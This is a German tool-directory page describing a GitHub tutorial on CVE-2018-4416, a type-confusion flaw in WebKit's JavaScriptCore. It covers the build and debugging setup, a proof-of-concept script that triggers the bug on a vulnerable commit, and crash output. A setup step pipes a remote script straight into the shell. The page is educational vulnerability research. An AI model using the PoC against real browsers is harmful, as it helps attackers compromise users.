Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2018-4416-exploit — Lehrreicher Walkthrough von CVE-2018-4416, einer Type-Confusion-Schwachstelle in WebKit JavaScriptCore, mit PoC, Debugging-Setup und Analyse gängiger Techniken zur Binary-Exploitation in Browsern. | Kitploit
Tools/GitHubGitHub/erupmi/cve-2018-4416-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & BildungLernpfade & KurseBinary-Exploitation
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

Lehrreicher Walkthrough von CVE-2018-4416, einer Type-Confusion-Schwachstelle in WebKit JavaScriptCore, mit PoC, Debugging-Setup und Analyse gängiger Techniken zur Binary-Exploitation in Browsern.

Repository anzeigen
9315vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
  • Vorwort :PROPERTIES: :CUSTOM_ID: preface :END: Okay, binäre Sicherheit beschränkt sich nicht nur auf /Heap/ und /Stack/; wir haben noch viel zu entdecken, abgesehen von den üblichen CTF-Herausforderungen. Browser, Virtuelle Maschinen und Kernel spielen alle eine wichtige Rolle in der binären Sicherheit. Und ich habe mich entschieden, zuerst den Browser zu studieren.

Ich wähle einen relativ einfachen: /WebKit/. (ChakraCore wäre vielleicht einfacher, LoL. Aber es gibt ein Gerücht, dass Microsoft das Projekt aufgibt. Deshalb habe ich mich dagegen entschieden.)

Ich werde eine Reihe von Beiträgen schreiben, um meine Notizen beim Studium der /WebKit/-Sicherheit festzuhalten. Es ist auch mein erstes Mal, dass ich Browser-Sicherheit lerne, meine Beiträge werden wahrscheinlich viele Fehler enthalten. Wenn dir welche auffallen, zögere nicht, mich zur Korrektur zu kontaktieren.

Bevor du dies liest, solltest du Folgendes kennen: - C++-Grammatik - Assemblersprach-Grammatik - Installation einer virtuellen Maschine - Vertrautheit mit Ubuntu und seiner Befehlszeile - Grundlegende Compilerbau-Konzepte


  • Einrichtung :PROPERTIES: :CUSTOM_ID: setup :END: Okay, lass uns jetzt beginnen.

** Virtuelle Maschine :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Zuerst müssen wir eine VM als unser Testziel installieren. Hier wähle ich /Ubuntu 18.04 LTS/ und /Ubuntu 16.04 LTS/ als Zielhost. Du kannst sie [[https://www.ubuntu.com/][hier]] herunterladen. Wenn ich die Version nicht angebe, verwende bitte 18.04 LTS als Standardversion.

Mac wäre vielleicht eine geeignetere Wahl, da es XCode und Safari hat. Angesichts des hohen Ressourcenverbrauchs und der instabilen Updates von MacOS verwende ich lieber Ubuntu.

Wir brauchen eine VM-Software. Ich bevorzuge [[https://www.vmware.com/][VMWare]]. Parallel Desktop und VirtualBox (kostenlos) sind auch in Ordnung, es hängt von deinen persönlichen Gewohnheiten ab.

Ich werde dir nicht Schritt für Schritt erklären, wie man Ubuntu auf VMWare installiert. Ich möchte dich jedoch daran erinnern, so viel Speicher und CPUs wie möglich zuzuweisen, da die Kompilierung eine große Menge an Ressourcen verbraucht. Eine 80-GB-Festplatte sollte ausreichen, um Quellcode und kompilierte Dateien zu speichern.

** Quellcode :PROPERTIES: :CUSTOM_ID: source-code :END: Du kannst den WebKit-Quellcode auf drei Arten herunterladen: [[https://github.com/WebKit/webkit][/git/]], /svn/ und [[https://webkit.org/getting-the-code/][/archive/]].

Der Standard-Versionsverwalter von WebKit ist svn. Aber ich wähle git (ich bin mit svn zu wenig vertraut):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** Debugger und Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE verbraucht viele Ressourcen, daher verwende ich vim zum Bearbeiten des Quellcodes.

Die meisten Debug-Arbeiten, die ich gesehen habe, verwenden lldb, mit dem ich nicht vertraut bin. Daher installiere ich auch gdb mit dem gef-Plugin.

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** Test :PROPERTIES: :CUSTOM_ID: test :END: *** Kompilieren von JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Das Kompilieren eines vollständigen WebKit dauert sehr lange. Wir kompilieren vorerst nur JSC (JavaScriptCore), wo die meisten Schwachstellen herkommen.

Du solltest dich jetzt im Wurzelverzeichnis des WebKit-Quellcodes befinden. Führe dies aus, um Abhängigkeiten vorzubereiten:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

Auch wenn wir jetzt noch nicht das vollständige WebKit kompilieren, kannst du die restlichen Abhängigkeiten für zukünftige Tests zuerst installieren. Dieser Schritt ist zum Kompilieren von JSC nicht erforderlich, wenn du nicht zu viel Zeit aufwenden möchtest:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

Danach können wir JSC kompilieren:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

Einige Minuten später können wir JSC ausführen mit:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

Machen wir ein paar Tests:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** Auslösen von Fehlern :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote Hier Ubuntu 18.04 LTS #+end_quote

Wir verwenden [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] zum Testen, hier ist der PoC. Speichere ihn in =poc.js= im selben Ordner wie =jsc=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

Wechsle zuerst zur verwundbaren Version:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote Dies kann sogar noch mehr Zeit in Anspruch nehmen als das Kompilieren #+end_quote

Führe aus: =./jsc poc.js=, und wir erhalten:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

Wenn wir dies auf der neuesten Version ausführen (=git checkout master= zum Zurückwechseln und Build-Inhalt löschen =rm -rf WebKitBuild/Relase/= und =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Tool herunterladen